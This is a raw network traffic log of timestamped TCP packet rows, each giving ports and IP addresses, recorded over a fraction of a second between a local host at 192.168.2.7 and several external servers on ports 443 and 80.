Nov 13, 2024 14:41:32.265286922 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.265295029 CET	49877	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.265345097 CET	49876	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.269057035 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:32.269100904 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:32.269180059 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:32.270222902 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:32.270262957 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:32.270323992 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:32.271223068 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.271298885 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.271389961 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.271425009 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.271450996 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.271493912 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.272769928 CET	49881	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.272804976 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.272825003 CET	49885	443	192.168.2.7	3.168.2.84
Nov 13, 2024 14:41:32.272836924 CET	443	49885	3.168.2.84	192.168.2.7
Nov 13, 2024 14:41:32.274082899 CET	49881	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.274097919 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.275273085 CET	49886	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:32.275293112 CET	443	49886	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:32.283000946 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.283035994 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.283476114 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.286092043 CET	49887	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.286108017 CET	443	49887	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.291791916 CET	49877	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.291824102 CET	443	49877	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.291841030 CET	49877	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.291848898 CET	443	49877	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.298487902 CET	49876	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.298511028 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.298599005 CET	49876	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.298604965 CET	443	49876	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.299719095 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.299763918 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.299782991 CET	49879	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.299791098 CET	443	49879	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.312906027 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.312937021 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.312944889 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.312958002 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.312963963 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.312968016 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.313005924 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.313024044 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.313064098 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.313085079 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.314614058 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.314630985 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.314682961 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.314691067 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.314722061 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.314743042 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.315337896 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.315370083 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.346585989 CET	49888	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.346627951 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.346971035 CET	49888	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.349452019 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.349560976 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.352610111 CET	49889	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.352647066 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.352844000 CET	49889	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.354017019 CET	49890	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.354046106 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.354407072 CET	49888	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.354424000 CET	443	49888	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.354443073 CET	49890	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.354666948 CET	49890	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.354679108 CET	443	49890	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.355912924 CET	49889	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.355935097 CET	443	49889	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.381122112 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.381139040 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.381175041 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.381196022 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.381205082 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.381213903 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.381230116 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.381253004 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.381258011 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.381273031 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.390615940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.390636921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.390685081 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.390727043 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.390980959 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391002893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391016006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391041994 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391082048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391093016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391108990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391123056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391133070 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391136885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391144037 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391161919 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391175985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391355038 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391372919 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391391039 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391413927 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391443968 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391463041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391482115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391499043 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391500950 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391515970 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391524076 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391537905 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391555071 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.391912937 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391959906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.391974926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392009020 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.392028093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392041922 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.392047882 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392055988 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392061949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392108917 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392121077 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392139912 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.392141104 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392178059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.392208099 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.392910957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.392951012 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.392995119 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393024921 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393032074 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.393050909 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393059015 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.393068075 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393088102 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.393100023 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.393100023 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393126965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393141985 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393157005 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393168926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.393173933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393183947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.393203974 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.393871069 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393959045 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.393970966 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.393994093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394010067 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394025087 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394031048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394045115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394053936 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394092083 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394114017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394128084 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394144058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394160032 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394162893 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394177914 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394208908 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394784927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394824028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394834042 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394841909 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394860983 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394875050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394876957 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394892931 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394908905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394911051 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394928932 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394939899 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.394958973 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394972086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394984007 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.394996881 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395003080 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.395036936 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.395736933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395775080 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395787954 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395818949 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.395828962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395843983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395848989 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.395868063 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395875931 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.395884991 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395903111 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.395924091 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.395934105 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395948887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395963907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.395981073 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396008968 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396716118 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396744013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396759033 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396785021 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396800041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396812916 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396816969 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396826029 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396840096 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396843910 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396889925 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396894932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396898985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396915913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396929026 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.396931887 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396950006 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.396965027 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.397710085 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397723913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397735119 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397747040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397758961 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.397763968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397793055 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.397813082 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397828102 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.397829056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397845984 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397860050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397861958 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.397881031 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.397888899 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.397932053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.397957087 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.398608923 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.398622036 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.398632050 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.398674965 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.400168896 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.400183916 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.400204897 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.400211096 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.400217056 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.400223970 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.400279045 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.400279045 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.400289059 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.402055025 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.402127981 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.402311087 CET	49881	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.416300058 CET	49881	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.416300058 CET	49881	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.416356087 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.416372061 CET	443	49881	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.430463076 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.430488110 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.430561066 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.430577993 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.430619001 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.432169914 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.432187080 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.432228088 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.432255030 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.432272911 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.432284117 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.432307005 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.432308912 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.432353973 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.447565079 CET	49870	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:32.447581053 CET	443	49870	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:32.468936920 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.469007969 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.498424053 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.498440027 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.498476028 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.498492956 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.498502970 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.498522043 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.498522997 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.498547077 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.499114037 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.516963005 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.516976118 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.517009020 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.517021894 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.517029047 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.517040014 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.517195940 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.517195940 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.517214060 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.519613028 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.519622087 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.519637108 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.519644976 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.519651890 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.519663095 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.519736052 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.519736052 CET	49880	443	192.168.2.7	4.153.29.52
Nov 13, 2024 14:41:32.519753933 CET	443	49880	4.153.29.52	192.168.2.7
Nov 13, 2024 14:41:32.543519020 CET	49891	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.543545008 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.543792009 CET	49891	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.547880888 CET	49891	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:32.547894001 CET	443	49891	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:32.551191092 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551209927 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551219940 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551264048 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551306963 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551323891 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551354885 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551366091 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551378965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551384926 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551393986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551405907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551414967 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551439047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551450014 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551585913 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551619053 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551649094 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551661968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551692009 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551753044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551764965 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551770926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551781893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551795006 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551824093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551829100 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551836967 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551839113 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551852942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551853895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551876068 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551879883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:32.551891088 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:32.551899910 CET	80	49832	185.215.113.206	192.168.2.7
